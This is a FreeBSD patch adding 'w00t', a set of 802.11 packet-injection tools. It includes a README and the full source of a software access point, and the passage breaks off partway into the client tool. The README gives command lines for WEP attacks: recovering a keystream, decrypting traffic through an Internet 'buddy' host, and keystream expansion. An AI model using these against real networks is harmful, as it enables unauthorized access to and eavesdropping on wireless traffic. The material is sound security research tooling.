From 9cfa19eab80e8c09816fc2c5ee37a2403b2dff45 Mon Sep 17 00:00:00 2001 From: sam Date: Sat, 5 Aug 2006 05:18:03 +0000 Subject: [PATCH] test programs for 802.11 packet injection Submitted by: Andrea Bittau --- tools/tools/net80211/w00t/Makefile | 5 + tools/tools/net80211/w00t/Makefile.inc | 11 + tools/tools/net80211/w00t/README | 78 ++ tools/tools/net80211/w00t/ap/Makefile | 7 + tools/tools/net80211/w00t/ap/ap.c | 916 ++++++++++++++++++++ tools/tools/net80211/w00t/assoc/Makefile | 7 + tools/tools/net80211/w00t/assoc/assoc.c | 938 +++++++++++++++++++++ tools/tools/net80211/w00t/expand/Makefile | 7 + tools/tools/net80211/w00t/expand/expand.c | 468 ++++++++++ tools/tools/net80211/w00t/libw00t/Makefile | 7 + tools/tools/net80211/w00t/libw00t/w00t.c | 414 +++++++++ tools/tools/net80211/w00t/libw00t/w00t.h | 57 ++ tools/tools/net80211/w00t/prga/Makefile | 7 + tools/tools/net80211/w00t/prga/prga.c | 664 +++++++++++++++ tools/tools/net80211/w00t/redir/Makefile | 7 + tools/tools/net80211/w00t/redir/buddy.c | 158 ++++ tools/tools/net80211/w00t/redir/redir.c | 709 ++++++++++++++++ 17 files changed, 4460 insertions(+) create mode 100644 tools/tools/net80211/w00t/Makefile create mode 100644 tools/tools/net80211/w00t/Makefile.inc create mode 100644 tools/tools/net80211/w00t/README create mode 100644 tools/tools/net80211/w00t/ap/Makefile create mode 100644 tools/tools/net80211/w00t/ap/ap.c create mode 100644 tools/tools/net80211/w00t/assoc/Makefile create mode 100644 tools/tools/net80211/w00t/assoc/assoc.c create mode 100644 tools/tools/net80211/w00t/expand/Makefile create mode 100644 tools/tools/net80211/w00t/expand/expand.c create mode 100644 tools/tools/net80211/w00t/libw00t/Makefile create mode 100644 tools/tools/net80211/w00t/libw00t/w00t.c create mode 100644 tools/tools/net80211/w00t/libw00t/w00t.h create mode 100644 tools/tools/net80211/w00t/prga/Makefile create mode 100644 tools/tools/net80211/w00t/prga/prga.c create mode 100644 tools/tools/net80211/w00t/redir/Makefile create mode 100644 tools/tools/net80211/w00t/redir/buddy.c create mode 100644 tools/tools/net80211/w00t/redir/redir.c diff --git a/tools/tools/net80211/w00t/Makefile b/tools/tools/net80211/w00t/Makefile new file mode 100644 index 000000000000..1aecd6937a0e --- /dev/null +++ b/tools/tools/net80211/w00t/Makefile @@ -0,0 +1,5 @@ +# $FreeBSD$ + +SUBDIR= libw00t ap assoc expand prga redir + +.include diff --git a/tools/tools/net80211/w00t/Makefile.inc b/tools/tools/net80211/w00t/Makefile.inc new file mode 100644 index 000000000000..0670300a62e2 --- /dev/null +++ b/tools/tools/net80211/w00t/Makefile.inc @@ -0,0 +1,11 @@ +# $FreeBSD$ + +W00T= ../libw00t +# NB: we get crc32 from -lz +DPADD= ${W00T}/libw00t.a ${LIBCRYPTO} ${LIBZ} +LDADD= -L${W00T} -lw00t -lcrypto -lz + +BINDIR= /usr/local/bin +CFLAGS= -g -I${W00T} + +NO_MAN= diff --git a/tools/tools/net80211/w00t/README b/tools/tools/net80211/w00t/README new file mode 100644 index 000000000000..7620f8f74bca --- /dev/null +++ b/tools/tools/net80211/w00t/README @@ -0,0 +1,78 @@ +$FreeBSD$ + +This is a collection of tools that use raw 802.11 packet injection. +None of the tools configure the interface, so be sure to run something +like: + +ifconfig ath0 channel 7 mediaopt monitor promisc up + +beforehand. The following tools are found here: + +assoc A wifi client. +ap A wifi access point. + +prga Gives ability to transmit on a WEP network. +redir Gives ability to decrypt in real-time on a WEP network, via Internet. +expand Gives ability to decrypt locally on a WEP network. + +All these tools depend on: + +libw00t Utility functions used by all tools. + +Detailed explanation of tools. +============================== + +assoc: + +Acts as a wifi client. It will associate to a network and bind a +tap interface to it. The interface may be used like a standard eth +interface attached to a normal LAN. Multiple instances of the +program may be run in order to connect to multiple APs simultaneously. +Example: + +./assoc -s w00t -t tap0 +ifconfig tap0 192.168.0.123 up +ping 192.168.0.1 + +ap: + +The same as assoc, but acts as an access point. Example: + +./ap -s w00t -t tap1 +ifconfig tap1 192.168.0.1 up +tcpdump -n -i tap1 + +[For the next set of tools, refer to http://tapir.cs.ucl.ac.uk/bittau-wep.pdf +for theoretical information.] + +prga: + +Sniff a packet on a WEP network and obtain a keystream. It binds +to a tap interface which may be used to TX packets on that network. +Example: + +./prga -b bssid_of_network -t tap0 +ifconfig tap0 192.168.0.123 up +ping 192.168.0.1 + +redir: + +Resend WEP packets to our buddy on the Internet. The buddy will +receive the clear-text and send it back to us via a UDP socket. +This data is then fed back into a tap interface. This way, data +may be ultimately be read from the tab iface in clear-text. Example: + +[Box on Internet]~# ./buddy +./redir -d buddy_ip -b bssid -t tap0 -r wifi_rtr_mac -s wifi_src_ip -p 666 +ifconfig tap0 up +tcpdump -n -i tap0 + +expand: + +Sniff a WEP packet and do the linear keystream expansion trick to +decrypt it. The clear-text packet is sent to a tap interface. +Example: + +./expand -b bssid -t tap0 +ifconfig tap0 up +tcpdump -n -i tap0 diff --git a/tools/tools/net80211/w00t/ap/Makefile b/tools/tools/net80211/w00t/ap/Makefile new file mode 100644 index 000000000000..96fe419fb68a --- /dev/null +++ b/tools/tools/net80211/w00t/ap/Makefile @@ -0,0 +1,7 @@ +# $FreeBSD$ + +.include <../Makefile.inc> + +PROG= ap + +.include diff --git a/tools/tools/net80211/w00t/ap/ap.c b/tools/tools/net80211/w00t/ap/ap.c new file mode 100644 index 000000000000..2b334ab5434e --- /dev/null +++ b/tools/tools/net80211/w00t/ap/ap.c @@ -0,0 +1,916 @@ +/*- + * Copyright (c) 2006, Andrea Bittau + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * $FreeBSD$ + */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "w00t.h" + +struct client { + char mac[6]; + int seq; + + struct client *next; +}; + +struct params { + /* fds */ + int tx; + int rx; + int tap; + + /* ap params */ + char mac[6]; + char ssid[256]; + int chan; + + /* beacon */ + int bint; + struct timeval blast; + + int seq; + + /* wep */ + int wep_len; + char wep_key[13]; + int wep_iv; + + struct client *clients; + + /* lame window */ + char packet[4096]; + int packet_len; + int packet_try; + struct timeval plast; +}; + +void usage(char *name) +{ + printf("Usage: %s \n" + "-h\thelp\n" + "-i\t\n" + "-s\t\n" + "-m\t\n" + "-w\t\n" + "-c\t\n" + "-t\t\n" + , name); + exit(0); +} + +void fill_basic(struct ieee80211_frame *wh, struct params *p) +{ + short *seq; + + wh->i_dur[0] = 0x69; + wh->i_dur[1] = 0x00; + + memcpy(wh->i_addr2, p->mac, 6); + + seq = (short*)wh->i_seq; + *seq = seqfn(p->seq, 0); +} + +void send_frame(struct params *p, void *buf, int len) +{ + int rc; + + rc = inject(p->tx, buf, len); + if (rc == -1) + err(1, "inject()"); + if (rc != len) { + printf("injected %d/%d\n", rc, len); + exit(1); + } + p->seq++; +} + +int fill_beacon(struct params *p, struct ieee80211_frame *wh) +{ + int len; + char *ptr; + + ptr = (char*) (wh+1); + ptr += 8; /* timestamp */ + ptr += 2; /* bint */ + *ptr |= IEEE80211_CAPINFO_ESS; + ptr += 2; /* capa */ + + /* ssid */ + len = strlen(p->ssid); + *ptr++ = 0; + *ptr++ = len; + memcpy(ptr, p->ssid, len); + ptr += len; + + /* rates */ + *ptr++ = 1; + *ptr++ = 4; + *ptr++ = 2 | 0x80; + *ptr++ = 4 | 0x80; + *ptr++ = 11; + *ptr++ = 22; + + /* ds param */ + *ptr++ = 3; + *ptr++ = 1; + *ptr++ = p->chan; + + return ptr - ((char*) wh); +} + +void send_beacon(struct params *p) +{ + char buf[4096]; + struct ieee80211_frame *wh; + int len; + char *ptr; + + wh = (struct ieee80211_frame*) buf; + + memset(buf, 0, sizeof(buf)); + fill_basic(wh, p); + memset(wh->i_addr1, 0xff, 6); + memcpy(wh->i_addr3, p->mac, 6); + + wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT; + wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_BEACON; + + len = fill_beacon(p, wh); + + /* TIM */ + ptr = (char*)wh + len; + *ptr++ = 5; + *ptr++ = 4; + len += 2+4; +#if 0 + printf("sending beacon\n"); +#endif + send_frame(p, wh, len); + + if (gettimeofday(&p->blast, NULL) == -1) + err(1, "gettimeofday()"); +} + + +void send_pres(struct params *p, char *mac) +{ + char buf[4096]; + struct ieee80211_frame *wh; + int len; + + wh = (struct ieee80211_frame*) buf; + + memset(buf, 0, sizeof(buf)); + fill_basic(wh, p); + memcpy(wh->i_addr1, mac, 6); + memcpy(wh->i_addr3, p->mac, 6); + + wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT; + wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_PROBE_RESP; + + len = fill_beacon(p, wh); + + printf("sending probe response\n"); + send_frame(p, wh, len); +} + +void read_preq(struct params *p, struct ieee80211_frame *wh, int len) +{ + unsigned char *ptr; + unsigned char *end; + unsigned char macs[6*3]; + + ptr = (unsigned char*) (wh+1); + + /* ssid */ + if (*ptr != 0) { + printf("weird pr %x\n", *ptr); + return; + } + ptr++; + + end = ptr + (*ptr) + 1; + *end = 0; + ptr++; + + mac2str(macs, wh->i_addr2); + printf("Probe request for [%s] from %s\n", ptr, macs); + + if ((strcmp(ptr, "") == 0) || (strcmp(ptr, p->ssid) == 0)) + send_pres(p, wh->i_addr2); +} + +void send_auth(struct params* p, char *mac) +{ + char buf[4096]; + struct ieee80211_frame *wh; + unsigned short *ptr; + int len; + + wh = (struct ieee80211_frame*) buf; + + memset(buf, 0, sizeof(buf)); + fill_basic(wh, p); + memcpy(wh->i_addr1, mac, 6); + memcpy(wh->i_addr3, p->mac, 6); + + wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT; + wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_AUTH; + + ptr = (unsigned short*) (wh+1); + *ptr++ = htole16(0); + *ptr++ = htole16(2); + *ptr++ = htole16(0); + + len = ((char*)ptr) - ((char*) wh); + printf("sending auth\n"); + send_frame(p, wh, len); +} + +void read_auth(struct params *p, struct ieee80211_frame *wh, int len) +{ + unsigned short *ptr; + char mac[6*3]; + + if (memcmp(wh->i_addr1, p->mac, 6) != 0) + return; + + ptr = (unsigned short*) (wh+1); + if (le16toh(*ptr) != 0) { + printf("Unknown auth algo %d\n", le16toh(*ptr)); + return; + } + ptr++; + if (le16toh(*ptr) == 1) { + mac2str(mac, wh->i_addr2); + printf("Got auth from %s\n", mac); + send_auth(p, wh->i_addr2); + } else { + printf("Weird seq in auth %d\n", le16toh(*ptr)); + } +} + +void send_assoc(struct params *p, char *mac) +{ + char buf[4096]; + struct ieee80211_frame *wh; + char *ptr; + int len; + + wh = (struct ieee80211_frame*) buf; + + memset(buf, 0, sizeof(buf)); + fill_basic(wh, p); + memcpy(wh->i_addr1, mac, 6); + memcpy(wh->i_addr3, p->mac, 6); + + wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT; + wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_ASSOC_RESP; + + ptr = (char*) (wh+1); + *ptr |= IEEE80211_CAPINFO_ESS; + ptr += 2; /* cap */ + ptr += 2; /* status */ + ptr += 2; /* aid */ + + /* rates */ + *ptr++ = 1; + *ptr++ = 4; + *ptr++ = 2 | 0x80; + *ptr++ = 4 | 0x80; + *ptr++ = 11; + *ptr++ = 22; + + len = ptr - ((char*) wh); + printf("sending assoc response\n"); + send_frame(p, wh, len); +} + +void read_assoc(struct params *p, struct ieee80211_frame *wh, int len) +{ + unsigned char *ptr; + unsigned char *end; + unsigned char macs[6*3]; + + if (memcmp(wh->i_addr1, p->mac, 6) != 0) + return; + + ptr = (unsigned char*) (wh+1); + ptr += 2; /* capa */ + ptr += 2; /* list interval */ + + /* ssid */ + if (*ptr != 0) { + printf("weird pr %x\n", *ptr); + return; + } + ptr++; + + end = ptr + (*ptr) + 1; + *end = 0; + ptr++; + + mac2str(macs, wh->i_addr2); + printf("Assoc request for [%s] from %s\n", ptr, macs); + + if (strcmp(ptr, p->ssid) == 0) + send_assoc(p, wh->i_addr2); +} + +void read_mgt(struct params *p, struct ieee80211_frame *wh, int len) +{ + switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) { + case IEEE80211_FC0_SUBTYPE_PROBE_REQ: + read_preq(p, wh, len); + break; + + case IEEE80211_FC0_SUBTYPE_PROBE_RESP: + break; + + case IEEE80211_FC0_SUBTYPE_AUTH: + read_auth(p, wh, len); + break; + + case IEEE80211_FC0_SUBTYPE_ASSOC_REQ: + read_assoc(p, wh, len); + break; + + case IEEE80211_FC0_SUBTYPE_ASSOC_RESP: + case IEEE80211_FC0_SUBTYPE_BEACON: + break; + + default: + printf("wtf %d\n", (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) >> + IEEE80211_FC0_SUBTYPE_SHIFT); + abort(); + break; + } +} + +void send_cts(struct params *p, char *mac) +{ + char buf[64]; + struct ieee80211_frame *wh; + + memset(buf, 0, sizeof(buf)); + wh = (struct ieee80211_frame*) buf; + wh->i_fc[0] |= IEEE80211_FC0_TYPE_CTL; + wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_CTS; + wh->i_dur[0] = 0x69; + wh->i_dur[0] = 0x00; + memcpy(wh->i_addr1, mac, 6); + + send_frame(p, wh, 10); +} + +void read_rts(struct params *p, struct ieee80211_frame *wh, int len) +{ + if (memcmp(wh->i_addr1, p->mac, 6) != 0) + return; + + send_cts(p, wh->i_addr2); +} + +void read_ack(struct params *p, struct ieee80211_frame *wh, int len) +{ + if (memcmp(wh->i_addr1, p->mac, 6) == 0) + p->packet_try = 0; +} + +void read_ctl(struct params *p, struct ieee80211_frame *wh, int len) +{ + switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) { + case IEEE80211_FC0_SUBTYPE_RTS: + read_rts(p, wh, len); + break; + + case IEEE80211_FC0_SUBTYPE_ACK: + read_ack(p, wh, len); + break; + + case IEEE80211_FC0_SUBTYPE_CTS: + break; + + default: + printf("wtf %d\n", (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) >> + IEEE80211_FC0_SUBTYPE_SHIFT); + abort(); + break; + } +#if 0 + printf("ctl\n"); +#endif +} + +int broadcast(struct ieee80211_frame *wh) +{ + /* XXX multicast */ + + if (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) + return 1; + + return 0; +} + +void enque(struct params *p, struct ieee80211_frame *wh, int len) +{ + if (broadcast(wh)) + return; + + assert(sizeof(p->packet) >= len); + + memcpy(p->packet, wh, len); + p->packet_len = len; + p->packet_try = 1; + + wh = (struct ieee80211_frame*) p->packet; + wh->i_fc[1] |= IEEE80211_FC1_RETRY; + + if (gettimeofday(&p->plast, NULL) == -1) + err(1, "gettimeofday()"); +} + +void relay_data(struct params *p, struct ieee80211_frame *wh, int len) +{ + char seq[2]; + char fc[2]; + unsigned short *ps; + + /* copy crap */ + memcpy(fc, wh->i_fc, 2); + memcpy(seq, wh->i_seq, 2); + + /* relay frame */ + wh->i_fc[1] &= ~(IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_RETRY); + wh->i_fc[1] |= IEEE80211_FC1_DIR_FROMDS; + memcpy(wh->i_addr1, wh->i_addr3, sizeof(wh->i_addr1)); + memcpy(wh->i_addr3, wh->i_addr2, sizeof(wh->i_addr3)); + memcpy(wh->i_addr2, p->mac, sizeof(wh->i_addr2)); + ps = (unsigned short*)wh->i_seq; + *ps = seqfn(p->seq, 0); + + send_frame(p, wh, len); + enque(p, wh, len); + + /* restore */ + memcpy(wh->i_fc, fc, sizeof(fc)); + memcpy(wh->i_addr2, wh->i_addr3, sizeof(wh->i_addr2)); + memcpy(wh->i_addr3, wh->i_addr1, sizeof(wh->i_addr2)); + memcpy(wh->i_addr1, p->mac, sizeof(wh->i_addr1)); + memcpy(wh->i_seq, seq, sizeof(seq)); +} + +void read_real_data(struct params *p, struct ieee80211_frame *wh, int len) +{ + char dst[6]; + int rc; + char *ptr = (char*) (wh+1); + + /* stuff not for this net */ + if (memcmp(wh->i_addr1, p->mac, 6) != 0) + return; + + /* relay data */ + if (memcmp(wh->i_addr3, p->mac, 6) != 0) + relay_data(p, wh, len); + + memcpy(dst, wh->i_addr3, 6); + + + if (wh->i_fc[1] & IEEE80211_FC1_WEP) { + if (!p->wep_len) { + printf("Got wep but i aint wep\n"); + return; + } + + if (wep_decrypt(wh, len, p->wep_key, p->wep_len) == -1){ + printf("Can't decrypt\n"); + return; + } + + ptr += 4; + len -= 8; + } + + /* ether header */ + ptr += 8 - 2; + ptr -= 6; + memcpy(ptr, wh->i_addr2, 6); + ptr -= 6; + memcpy(ptr, dst, 6); + + len -= sizeof(*wh); + len -= 8; + len += 14; + + /* send to tap */ + rc = write(p->tap, ptr, len); + if (rc == -1) + err(1, "write()"); + if (rc != len) { + printf("Wrote %d/%d\n", rc, len); + exit(1); + } +} + +void read_data(struct params *p, struct ieee80211_frame *wh, int len) +{ + switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) { + case IEEE80211_FC0_SUBTYPE_DATA: + read_real_data(p, wh, len); + break; + + case IEEE80211_FC0_SUBTYPE_NODATA: + break; + + default: + printf("wtf %d\n", (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) >> + IEEE80211_FC0_SUBTYPE_SHIFT); + abort(); + break; + } +} + +struct client* client_find(struct params *p, char *mac) +{ + struct client* c = p->clients; + + while (c) { + if (memcmp(c->mac, mac, 6) == 0) + return c; + + c = c->next; + } + + return NULL; +} + +void client_insert(struct params *p, struct client *c) +{ +#if 1 + do { + char mac[6*3]; + + mac2str(mac, c->mac); + printf("Adding client %s\n", mac); + } while(0); +#endif + + c->next = p->clients; + p->clients = c; +} + +int duplicate(struct params *p, struct ieee80211_frame *wh, int rc) +{ + struct client *c; + int s; + + if (!frame_type(wh, IEEE80211_FC0_TYPE_DATA, + IEEE80211_FC0_SUBTYPE_DATA)) + return 0; + + s = seqno(wh); + + c = client_find(p, wh->i_addr2); + if (!c) { + c = malloc(sizeof(*c)); + if (!c) + err(1, "malloc()"); + + memset(c, 0, sizeof(*c)); + memcpy(c->mac, wh->i_addr2, 6); + + c->seq = s-1; + client_insert(p, c); + } + + if (wh->i_fc[1] & IEEE80211_FC1_RETRY) { + if ( (s <= c->seq) && ((c->seq - s ) < 5)) { +#if 0 + printf("Dup seq %d prev %d\n", + s, c->seq); +#endif + return 1; + } + } + +#if 0 + do { + char mac[3*6]; + + mac2str(mac, c->mac); + printf("%s seq %d prev %d\n", mac, s, c->seq); + } while (0); +#endif + + c->seq = s; + return 0; +} + +void ack(struct params *p, struct ieee80211_frame *wh) +{ + if (memcmp(wh->i_addr1, p->mac, 6) != 0) + return; + + if ((wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) == IEEE80211_FC0_TYPE_CTL) + return; + + send_ack(p->tx, wh->i_addr2); +} + +void read_wifi(struct params *p) +{ + char buf[4096]; + int rc; + struct ieee80211_frame *wh; + + rc = sniff(p->rx, buf, sizeof(buf)); + if (rc == -1) + err(1, "sniff()"); + + wh = get_wifi(buf, &rc); + if (!wh) + return; + + /* filter my own shit */ + if (memcmp(wh->i_addr2, p->mac, 6) == 0) { + /* XXX CTL frames */ + if ((wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) != + IEEE80211_FC0_TYPE_CTL) + return; + } + +#if 1 + ack(p, wh); +#endif + + if (duplicate(p, wh, rc)) { +#if 0 + printf("Dup\n"); +#endif + return; + } + + switch (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) { + case IEEE80211_FC0_TYPE_MGT: + read_mgt(p, wh, rc); + break; + + case IEEE80211_FC0_TYPE_CTL: + read_ctl(p, wh, rc); + break; + + case IEEE80211_FC0_TYPE_DATA: + read_data(p, wh, rc); + break; + + default: + printf("wtf\n"); + abort(); + break; + } +} + +void read_tap(struct params *p) +{ + char buf[4096]; + char *ptr; + int len = sizeof(buf); + int offset; + char src[6], dst[6]; + struct ieee80211_frame *wh; + int rd; + + ptr = buf; + offset = sizeof(struct ieee80211_frame) + 8 - 14; + if (p->wep_len) + offset += 4; + + ptr += offset; + len -= offset; + + /* read packet */ + memset(buf, 0, sizeof(buf)); + rd = read(p->tap, ptr, len); + if (rd == -1) + err(1, "read()"); + + /* 802.11 header */ + wh = (struct ieee80211_frame*) buf; + memcpy(dst, ptr, sizeof(dst)); + memcpy(src, ptr+6, sizeof(src)); + fill_basic(wh, p); + memcpy(wh->i_addr3, src, sizeof(wh->i_addr3)); + memcpy(wh->i_addr1, dst, sizeof(wh->i_addr1)); + wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA; + wh->i_fc[1] |= IEEE80211_FC1_DIR_FROMDS; + if (p->wep_len) + wh->i_fc[1] |= IEEE80211_FC1_WEP; + + /* LLC & SNAP */ + ptr = (char*) (wh+1); + if (p->wep_len) + ptr += 4; + *ptr++ = 0xAA; + *ptr++ = 0xAA; + *ptr++ = 0x03; + *ptr++ = 0x00; + *ptr++ = 0x00; + *ptr++ = 0x00; + /* ether type overlaps w00t */ + + rd += offset; + + /* WEP */ + if (p->wep_len) { + ptr = (char*) (wh+1); + memcpy(ptr, &p->wep_iv, 3); + ptr[3] = 0; + p->wep_iv++; + + wep_encrypt(wh, rd, p->wep_key, p->wep_len); + rd += 4; /* ICV */ + } + + send_frame(p, wh, rd); +} + +int retransmit(struct params *p) +{ +#if 0 + printf("RETRANS %d\n", p->packet_try); +#endif + + send_frame(p, p->packet, p->packet_len); + p->packet_try++; + + if (p->packet_try > 3) + p->packet_try = 0; + else { + if (gettimeofday(&p->plast, NULL) == -1) + err(1, "gettimeofday()"); + } + + return p->packet_try; +} + +void next_event(struct params *p) +{ + struct timeval to, now; + int el; + int max; + fd_set fds; + int rtr = 3*1000; + + /* figure out select timeout */ + if (gettimeofday(&now, NULL) == -1) + err(1, "gettimeofday()"); + + /* check beacon timeout */ + el = elapsed(&p->blast, &now); + if (el >= p->bint) { + send_beacon(p); + el = 0; + } + el = p->bint - el; + to.tv_sec = el/1000/1000; + to.tv_usec = el - to.tv_sec*1000*1000; + + /* check tx timeout */ + if (p->packet_try) { + el = elapsed(&p->plast, &now); + if (el >= rtr) { + /* check if we gotta retransmit more */ + if (retransmit(p)) { + el = 0; + } + else + el = -1; + } + + /* gotta retransmit in future */ + if (el != -1) { + el = rtr - el; + if ((to.tv_sec*1000*1000 + to.tv_usec) > el) { + to.tv_sec = el/1000/1000; + to.tv_usec = el - to.tv_sec*1000*1000; + } + } + } + + /* select */ + FD_ZERO(&fds); + FD_SET(p->rx, &fds); + FD_SET(p->tap, &fds); + max = p->rx > p->tap ? p->rx : p->tap; + if (select(max+1, &fds, NULL, NULL, &to) == -1) + err(1, "select()"); + + if (FD_ISSET(p->tap, &fds)) + read_tap(p); + if (FD_ISSET(p->rx, &fds)) + read_wifi(p); +} + +int main(int argc, char *argv[]) +{ + char *iface = "ath0"; + char *tap = "tap0"; + struct params p; + int ch; + + /* default params */ + memset(&p, 0, sizeof(p)); + memcpy(p.mac, "\x00\x00\xde\xfa\xce\x0d", 6); + strcpy(p.ssid, "sorbo"); + p.bint = 500*1000; + p.seq = getpid(); + if (gettimeofday(&p.blast, NULL) == -1) + err(1, "gettimeofday()"); + p.chan = 3; + + while ((ch = getopt(argc, argv, "hi:s:m:w:c:t:")) != -1) { + switch (ch) { + case 'i': + iface = optarg; + break; + case 't': + tap = optarg; + break; + + case 'c': + p.chan = atoi(optarg); + break; + + case 's': + strncpy(p.ssid, optarg, sizeof(p.ssid)-1); + p.ssid[sizeof(p.ssid)-1] = 0; + break; + + case 'm': + str2mac(p.mac, optarg); + break; + + case 'w': + if (str2wep(p.wep_key, &p.wep_len, optarg)) { + printf("Error parsing WEP key\n"); + exit(1); + } + break; + + case 'h': + default: + usage(argv[0]); + break; + } + } + + /* init */ + if ((p.tx = open_tx(iface)) == -1) + err(1, "open_tx()"); + if ((p.rx = open_rx(iface)) == -1) + err(1, "open_rx()"); + + if ((p.tap = open_tap(tap)) == -1) + err(1, "open_tap()"); + if (set_iface_mac(tap, p.mac) == -1) + err(1, "set_iface_mac()"); + + while (1) { + next_event(&p); + } + + exit(0); +} diff --git a/tools/tools/net80211/w00t/assoc/Makefile b/tools/tools/net80211/w00t/assoc/Makefile new file mode 100644 index 000000000000..23271a3a253b --- /dev/null +++ b/tools/tools/net80211/w00t/assoc/Makefile @@ -0,0 +1,7 @@ +# $FreeBSD$ + +.include <../Makefile.inc> + +PROG= assoc + +.include diff --git a/tools/tools/net80211/w00t/assoc/assoc.c b/tools/tools/net80211/w00t/assoc/assoc.c new file mode 100644 index 000000000000..65853afc5f5b --- /dev/null +++ b/tools/tools/net80211/w00t/assoc/assoc.c @@ -0,0 +1,938 @@ +/*- + * Copyright (c) 2006, Andrea Bittau + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * $FreeBSD$ + */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "w00t.h" + +enum { + S_START = 0, + S_SEND_PROBE_REQ, + S_WAIT_PROBE_RES, + S_SEND_AUTH, + S_WAIT_AUTH, + S_SEND_ASSOC, + S_WAIT_ASSOC, + S_ASSOCIATED, + S_SEND_DATA, + S_WAIT_ACK +}; + +struct params { + int seq; + int seq_rx; + char *mac; + char *ssid; + char bssid[6]; + char ap[6]; + int tx; + int rx; + int tap; + int aid; + char packet[4096]; + int packet_len; + int state; + char wep_key[13]; + int wep_iv; + int wep_len; +}; + +void usage(char *pname) +{ + printf("Usage: %s \n" + "-m\t\n" + "-s\t\n" + "-h\tusage\n" + "-i\t\n" + "-w\t\n" + "-t\t\n" + "-b\t\n" + , pname); + exit(0); +} + +void fill_basic(struct ieee80211_frame *wh, struct params *p) +{ + short *seq; + + wh->i_dur[0] = 0x69; + wh->i_dur[1] = 0x00; + + memcpy(wh->i_addr1, p->ap, 6); + memcpy(wh->i_addr2, p->mac, 6); + memcpy(wh->i_addr3, p->bssid, 6); + + seq = (short*)wh->i_seq; + *seq = seqfn(p->seq, 0); +} + +void send_frame(struct params *p, void *buf, int len) +{ + int rc; + + rc = inject(p->tx, buf, len); + if (rc == -1) { + if (errno == EMSGSIZE) + warnx("inject(len %d)", len); + else + err(1, "inject(len %d)", len); + } else if (rc != len) + errx(1, "injected %d but only %d sent", rc, len); + p->seq++; +} + +void send_probe_request(struct params *p) +{ + char buf[2048]; + struct ieee80211_frame *wh; + char *data; + int len; + + memset(buf, 0, sizeof(buf)); + + wh = (struct ieee80211_frame*) buf; + fill_basic(wh, p); + wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_PROBE_REQ; + + memset(wh->i_addr1, 0xFF, 6); + memset(wh->i_addr3, 0xFF, 6); + + data = (char*) (wh + 1); + *data++ = 0; /* SSID */ + *data++ = strlen(p->ssid); + strcpy(data, p->ssid); + data += strlen(p->ssid); + + *data++ = 1; /* rates */ + *data++ = 4; + *data++ = 2 | 0x80; + *data++ = 4 | 